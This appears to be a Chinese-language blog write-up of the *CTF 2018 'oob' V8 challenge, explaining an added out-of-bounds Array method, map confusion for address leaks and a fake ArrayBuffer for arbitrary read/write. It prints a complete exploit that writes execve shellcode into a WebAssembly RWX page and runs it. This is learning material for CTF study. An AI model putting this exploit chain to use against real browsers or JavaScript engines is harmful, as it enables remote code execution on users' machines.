本以为研究生的生活可以摸鱼,没想到研讨课一下子分了个讲v8的课题,没办法,只有硬着头皮上了。

参考资料:

V8 Object 内存结构与属性访问

http://eternalsakura13.com/2019/04/29/*ctf_oob/

https://github.com/theori-io/zer0con2018_bpak

这篇文章正好也记录一下学习的过程,写文章的时候也可以顺便看看有哪些地方没搞清楚。这里以startctf 2018 的 oob一题,来一点一点的学习v8。

首先,题目给出了一个patch,给js的Array新加了一个方法:

BUILTIN(ArrayOob){
    uint32_t len = args.length();
    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
    Handle<JSReceiver> receiver;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, receiver, Object::ToObject(isolate, args.receiver()));
    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
    uint32_t length = static_cast<uint32_t>(array->length()->Number());
    if(len == 1){
        //read
        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    }else{
        //write
        Handle<Object> value;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
        elements.set(length,value->Number());
        return ReadOnlyRoots(isolate).undefined_value();
    }
}

根据patch可以看出,当我们调用array.oob()时可以越界读,调用array.oob(xxx)时可以越界把xxx的值写进去。

为了完成利用,首先肯定需要知道这一个越界的地址上存放的是什么。

首先来做一个测试:

d8> a = [1,2,3,4,5,6,7]
[1, 2, 3, 4, 5, 6, 7]
d8> %DebugPrint(a)
0x18691f2cdd61 <JSArray[7]>
[1, 2, 3, 4, 5, 6, 7]

在启动d8的时候使用--allow-natives-syntax参数可以启用一些方便我们调试的方法,%DebugPrint可以打印出一个类所在的内存地址。在上面的例子中,a所在的内存地址为0x18691f2cdd61,查看内存可知a的elem地址为0x000018691f2cdcd1,而此时我们完全不知道elem越界之后的那一位地址上面的数据是什么东西。

这时候我们就必须想一些办法来让elem越界后的内存是我们可以控制的内存,而js的array中有一个splice方法,可以让array的内存排布更为紧密:

a = a.splice(0)
[1, 2, 3, 4, 5, 6, 7]
d8> %DebugPrint(a)
0x18691f2d0959 <JSArray[7]>
[1, 2, 3, 4, 5, 6, 7]

此时可以看到array的elem和它本身就是紧密排布的,而elem越界之后的第一个元素正好是array的第一个元素,也就是array的map。在js中,是通过map来判断一个object的类型的,所以通过这一个越界读写,就可以控制一个object的map。v8中的array又有两种类型,一种是用来储存double数据的,一种是用来储存object数据的。这应该算是v8的一种优化措施,如果一个数组中的元素全是double型数据,就没有必要再给每一个元素再加一层指针了,而这种类型的数组就如上面的测试所示。

b = [a,a,a,a,1,2,3]
[[1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], 1, 2, 3]
d8> %DebugPrint(b)
0x18691f2d11b1 <JSArray[7]>
[[1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], 1, 2, 3]

可以看到b的map值和a的map值就不同了。所以我们可以通过把一个储存object类型的数组改写成储存double型的,从而泄露里面储存的object的地址:

let w = [1,2,3,4,5,6,7,8,9,0].splice(0);

var ab = new ArrayBuffer(0x1000);

var a = [1.1, 1.1, 1.1, 1.1];
var b = [w, w, ab, 2.2, 2.2];
var c = [3.3, 3.3, 3.3, 3.3, 3.3];

a = a.splice(0);
b = b.splice(0);
c = c.splice(0);

double_map = a.oob();
console.log("doube map is:");
console.log(Int64.fromDouble(double_map).toString(16));

object_map = b.oob();
console.log("object map is:");
console.log(Int64.fromDouble(object_map).toString(16));

b.oob(double_map);
%DebugPrint(w);

console.log("leak w addr:");
console.log(Int64.fromDouble(b[0]).toString(16));

输出为:

d8> load('exp2.js')
doube map is:
0x00002d5408642ed9
object map is:
0x00002d5408642f79
0x111d67655729 <JSArray[10]>
leak w addr:
0x0000111d67655729

可以看到我们成功leak了w的地址。

但是只有leak明显是不够的,js中有一个比较底层的对象叫做ArrayBuffer,它可以直接对二进制数据进行读写。如果我们可以伪造一个ArrayBuffer,然后利用这个ArrayBuffer是不是就可以实现对程序任意地址的读写了。而通过前面的leak,我们就可以知道我们申请的array的地址,然后可以通过偏移算出其elem的地址,所以我们直接在elem中布置我们伪造的ArrayBuffer


var fake_arraybuffer = [ //map|properties new Int64(0xdeadbeef).asDouble(), new Int64(0x0).asDouble(), //elements|length new Int64(0x0).asDouble(), new Int64(0x1000).asDouble(), //backingstore|0x2 new Int64(0x0).asDouble(), new Int64(0x2).asDouble(), //padding new Int64(0x0).asDouble(), new Int64(0x0).asDouble(), //fake map new Int64(0x0).asDouble(), new Int64(0x1900042319080808).asDouble(), new Int64(0x00000000082003ff).asDouble(), new Int64(0x0).asDouble(), new Int64(0x0).asDouble(), new Int64(0x0).asDouble(), new Int64(0x0).asDouble(), new Int64(0x0).asDouble(), ].splice(0);

虽然我们不知道ArrayBuffer的map地址,但是我们可以伪造ArrayBuffer的map值,所以在数据的最后加上了一段伪造的ArrayBuffermap值。

但是我们要读写什么地方呢?在js中有一个WebAssembly.Instance对象,它会申请一段rwx的空间,其中储存着一些代码,我觉得可以是v8为了优化wasm的执行速度而申请的,此处存疑,以后有机会去看一下源码,我们可以通过改写其中的代码,来执行我们自己的shellcode。

所以这么一套流程下来,利用思路并不复杂,就是通过改写array的map值来进行leak,之后伪造ArrayBuffer来进行任意地址的读写。

exp:

String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
  return (Array(total).join(pad || 0) + this).slice(-total);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++){
        //print(bytes[i].toString(16));
        res.push(('0' + bytes[i].toString(16)).substr(-2));
    }
    return res.join('');

}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
        var chunk = data.slice(i, i+16);
    for (var i = 0; i < data.length; i += 16) {
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();

function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            //print(bigEndian.toString());
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        //print("toString");
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a & b
    this.assignAnd = operation(function and(a, b) {
        for (var i = 0; i < 8; i++) {
            bytes[i] = a.byteAt(i) & b.byteAt(i);
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

// Convenience functions. These allocate a new Int64 to hold the result.

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}

// Return a & b
function And(a, b) {
    return (new Int64()).assignAnd(a, b);
}

function hex(a) {
    if (a == undefined) return "0xUNDEFINED";
    var ret = a.toString(16);
    if (ret.substr(0,2) != "0x") return "0x"+ret;
    else return ret;
}

function lower(x) {
    // returns the lower 32bit of double x
    return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}

function upper(x) {
    // returns the upper 32bit of double x
    return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}


function lowerint(x) {
    // returns the lower 32bit of int x
    return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}

function upperint(x) {
    // returns the upper 32bit of int x
    return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}

function combine(a, b) {
    //a = a >>> 0;
    //b = b >>> 0;
    //print(a.toString());
    //print(b.toString());
    return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}


//padLeft用于字符串左补位

function combineint(a, b) {
    //a = a >>> 0;
    //b = b >>> 0;
    return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}

  // based on Long.js by dcodeIO
  // https://github.com/dcodeIO/Long.js
  // License Apache 2
  class _u64 {
     constructor(hi, lo) {
        this.lo_ = lo;
        this.hi_ = hi;
     }

     hex() {
        var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
        var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
        if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
        if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
        hlo = "00000000" + hlo
        hlo = hlo.substr(hlo.length-8, hlo.length);
        return "0x" + hhi + hlo;
     }

     isZero() {
        return this.hi_ == 0 && this.lo_ == 0;
     }

     equals(val) {
        return this.hi_ == val.hi_ && this.lo_ == val.lo_;
     }

     and(val) {
        return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
     }

     add(val) {
        var a48 = this.hi_ >>> 16;
        var a32 = this.hi_ & 0xFFFF;
        var a16 = this.lo_ >>> 16;
        var a00 = this.lo_ & 0xFFFF;

        var b48 = val.hi_ >>> 16;
        var b32 = val.hi_ & 0xFFFF;
        var b16 = val.lo_ >>> 16;
        var b00 = val.lo_ & 0xFFFF;

        var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
        c00 += a00 + b00;
        c16 += c00 >>> 16;
        c00 &= 0xFFFF;
        c16 += a16 + b16;
        c32 += c16 >>> 16;
        c16 &= 0xFFFF;
        c32 += a32 + b32;
        c48 += c32 >>> 16;
        c32 &= 0xFFFF;
        c48 += a48 + b48;
        c48 &= 0xFFFF;

        return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
     }

     addi(h,l) {
        return this.add(new _u64(h,l));
     }

     subi(h,l) {
        return this.sub(new _u64(h,l));
     }

     not() {
        return new _u64(~this.hi_, ~this.lo_)
     }

     neg() {
        return this.not().add(new _u64(0,1));
     }

     sub(val) {
        return this.add(val.neg());
     };

     swap32(val) {
        return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
              ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
     }

     bswap() {
        var lo = swap32(this.lo_);
        var hi = swap32(this.hi_);
        return new _u64(lo, hi);
     };
  }
var u64 = function(hi, lo) { return new _u64(hi,lo) };

function gc(){
    for (var i = 0; i < 1024 * 1024 * 16; i++){
        new String();
    }
}

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
// var shellcode = [0xcccccccc];

const wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,0x00, 0x00, 0x41, 0x00, 0x0b]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;

// %DebugPrint(wasm_instance);
gc();
gc();


var fake_arraybuffer = [
    //map|properties
    new Int64(0xdeadbeef).asDouble(),
    new Int64(0x0).asDouble(),
    //elements|length
    new Int64(0x0).asDouble(),
    new Int64(0x1000).asDouble(),
    //backingstore|0x2
    new Int64(0x0).asDouble(),
    new Int64(0x2).asDouble(),
    //padding
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    //fake map
    new Int64(0x0).asDouble(),
    new Int64(0x1900042319080808).asDouble(),
    new Int64(0x00000000082003ff).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
].splice(0);

// let w = [1,2,3,4,5,6,7,8,9,0].splice(0);

// %DebugPrint(fake_arraybuffer);
var ab = new ArrayBuffer(0x1000);

var a = [1.1, 1.1, 1.1, 1.1];
var b = [fake_arraybuffer, wasm_instance, ab, 2.2, 2.2];
var c = [3.3, 3.3, 3.3, 3.3, 3.3];

a = a.splice(0);
b = b.splice(0);
c = c.splice(0);

double_map = a.oob();
console.log("doube map is:");
console.log(Int64.fromDouble(double_map).toString(16));
console.log("object map is:");
object_map = b.oob();
console.log(Int64.fromDouble(object_map).toString(16));

b.oob(double_map);

fake_arraybuffer_addr =  b[0];
console.log('fake_arraybuffer_addr addr : ')
console.log(Int64.fromDouble(fake_arraybuffer_addr).toString(16));

wasm_addr = b[1];

console.log('wasm addr : ')
console.log(Int64.fromDouble(wasm_addr).toString(16));

ad_addr = b[2];
console.log('ab addr ');
console.log(Int64.fromDouble(ad_addr).toString(16));

rwx_addr = wasm_addr + new Int64(0x88 - 0x1).asDouble();

fake_arraybuffer[0] = double_map;
fake_arraybuffer_elem_addr = fake_arraybuffer_addr - new Int64(0x80).asDouble();

console.log('fake elem addr');
console.log(Int64.fromDouble(fake_arraybuffer_elem_addr).toString(16));
// raw_array_map = double_map - new Int64(3360).asDouble();
raw_array_map = fake_arraybuffer_elem_addr + new Int64(0x40).asDouble();
console.log('arraybuffer map : ');
console.log(Int64.fromDouble(raw_array_map).toString(16));

fake_arraybuffer[0] = raw_array_map;  
fake_arraybuffer[4] = rwx_addr; 

www = [fake_arraybuffer_elem_addr,1,2,3,4,5,6,7].splice(0);
www.oob(object_map);
www1 = www[0];
// console.log(typeof(www1));
var dv = new DataView(www1);
rwx_addr = dv.getFloat64(0, true);
console.log("rwx addr is:");
console.log(Int64.fromDouble(rwx_addr).toString(16));

fake_arraybuffer[4] = rwx_addr; 


for (i = 0; i < shellcode.length; i++){
    dv.setUint32(i * 4, shellcode[i], true);
}

wasm_func();

当然这个exp中有好大一部分都是参考照抄别人的,因为自己对js本身就不怎么熟悉orz。